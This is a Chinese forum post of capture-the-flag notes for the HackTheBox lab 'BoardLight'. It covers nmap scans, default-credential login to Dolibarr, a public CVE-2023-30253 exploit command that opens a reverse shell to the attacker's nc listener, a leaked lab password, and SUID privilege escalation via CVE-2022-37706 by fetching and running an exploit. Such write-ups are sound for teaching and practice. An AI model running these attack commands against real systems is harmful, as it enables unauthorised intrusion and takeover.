HTB-BoardLight靶机笔记

打印 上一主题 下一主题

主题 1047|帖子 1047|积分 3141

BoardLight靶机笔记

概述

HTB的靶机BoardLight
靶机地址:https://app.hackthebox.com/machines/BoardLight
一、nmap扫描

1)端口扫描

-sT tcp全连接扫描  --min-rate 以最低速率10000扫描   -p- 扫描全端口
  1. sudo nmap -sT --min-rate 10000 -p- -o ports 10.10.11.11
复制代码
  1. Warning: 10.10.11.11 giving up on port because retransmission cap hit (10).
  2. Nmap scan report for 10.10.11.11
  3. Host is up (0.23s latency).
  4. Not shown: 41074 closed tcp ports (conn-refused), 24459 filtered tcp ports (no-response)
  5. PORT   STATE SERVICE
  6. 22/tcp open  ssh
  7. 80/tcp open  http
  8. # Nmap done at Sat Aug 17 20:10:36 2024 -- 1 IP address (1 host up) scanned in 100.49 seconds
复制代码
2)详情探测

-sT tcp全连接扫描  -sV 探测端口服务版本  -sC 利用默认脚本扫描 -O 探测目标操作系统
  1. sudo nmap -sT -sV -sC -O -p22,80 10.10.11.11
复制代码
  1. Nmap scan report for 10.10.11.11
  2. Host is up (0.36s latency).
  3. PORT   STATE SERVICE VERSION
  4. 22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
  5. | ssh-hostkey:
  6. |   3072 062d3b851059ff7366277f0eae03eaf4 (RSA)
  7. |   256 5903dc52873a359934447433783135fb (ECDSA)
  8. |_  256 ab1338e43ee024b46938a9638238ddf4 (ED25519)
  9. 80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
  10. |_http-server-header: Apache/2.4.41 (Ubuntu)
  11. |_http-title: Site doesn't have a title (text/html; charset=UTF-8).
  12. Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  13. Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  14. # Nmap done at Sat Aug 17 20:12:43 2024 -- 1 IP address (1 host up) scanned in 44.29 seconds
复制代码
3) 漏洞脚本扫描
  1. sudo nmap --script=vuln -o vuln 10.10.11.11
复制代码
  1. Nmap scan report for 10.10.11.11         
  2. Host is up (0.46s latency).         
  3. Not shown: 998 closed tcp ports (reset)                     
  4. PORT   STATE SERVICE                              
  5. 22/tcp open  ssh                          
  6. 80/tcp open  http   
  7. | http-csrf:                                                                                                         [0/105]
  8. | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.10.11.11
  9. |   Found the following possible CSRF vulnerabilities:
  10. |     
  11. |     Path: http://10.10.11.11:80/
  12. |     Form id:
  13. |     Form action:
  14. |     
  15. |     Path: http://10.10.11.11:80/
  16. |     Form id:
  17. |     Form action:
  18. |     
  19. |     Path: http://10.10.11.11:80/about.php
  20. |     Form id:
  21. |     Form action:
  22. |     
  23. |     Path: http://10.10.11.11:80/do.php
  24. |     Form id:
  25. |_    Form action:
  26. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
  27. |_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)
  28. |_http-dombased-xss: Couldn't find any DOM based XSS.
  29. | http-fileupload-exploiter:
  30. |   
  31. |     Couldn't find a file-type field.
  32. |   
  33. |     Couldn't find a file-type field.
  34. |   
  35. |_    Couldn't find a file-type field.
  36. |_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
  37. # Nmap done at Sat Aug 17 20:16:04 2024 -- 1 IP address (1 host up) scanned in 156.22 seconds
复制代码
二、Web渗透

1)域名发现

最底部发现域名 board.htb写进/etc/hosts文件中
  1. sudo echo "10.10.11.11 board.htb" | sudo tee -a /etc/hosts
复制代码
对他举行子域名爆破和目录爆破
爆破处子域名 crm.board,htb写进/etc/hosts文件里
访问
  1. http://crm.board.htb
复制代码
看到了一个cms框架,实验弱口令admin:admin
登岸进来

三、获得驻足点

通过google搜索
找到了 :   Exploit-for-Dolibarr-17.0.0-CVE-2023-30253
根据github上边上的利用教程
kali当地
  1. nc -lvvp 4444
复制代码
利用脚本
  1. python3 exploit.py http://crm.board.htb admin admin 10.10.14.69 4444
复制代码
成功反弹shell

找到配置文件

找到了一组根据
看一下用户
  1. ls /home
  2. larissa
复制代码
ssh根据 larissa:serverfun2$2023!!
连接ssh获得平常用户
  1. ssh larissa@10.10.11.11
复制代码

四、提权到root
  1. find / -perm -4000 -type f 2> /dev/null
复制代码
  1. /usr/lib/eject/dmcrypt-get-device
  2. /usr/lib/xorg/Xorg.wrap
  3. /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
  4. /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd
  5. /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight
  6. /usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/linux-gnu-x86_64-0.23.1/freqset
  7. /usr/lib/dbus-1.0/dbus-daemon-launch-helper
  8. /usr/lib/openssh/ssh-keysign
  9. /usr/sbin/pppd
  10. /usr/bin/newgrp
  11. /usr/bin/mount
  12. /usr/bin/sudo
  13. /usr/bin/su
  14. /usr/bin/chfn
  15. /usr/bin/umount
  16. /usr/bin/gpasswd
  17. /usr/bin/passwd
  18. /usr/bin/fusermount
  19. /usr/bin/chsh
  20. /usr/bin/vmware-user-suid-wrapper
复制代码
看到enlightenment_sys,他有SUID提权漏洞
CVE-2022–37706
我们下载kail上,起一个php的80端口服务,在靶机上用wget下载下来 ,执行就可以到root

拿到root的flag
总结


  • 通过nmap扫描发现目标靶机开启了22,80端口
  • 对80端口的http服务举行了目录爆破和子域名爆破,发现了doblarr的cms框架,通过google搜索,找到了 Exploit-for-Dolibarr-17.0.0-CVE-2023-30253漏洞的利用脚本。
  • 通过利用cms的漏洞成功获得shell,通过对配置的阅读,发现了一组根据larissa:serverfun2$2023!!,成功获得了用户的shell
  • 通过enlightenment这个桌面管理组件的SUID的利用成功获得了root的shell。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

北冰洋以北

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表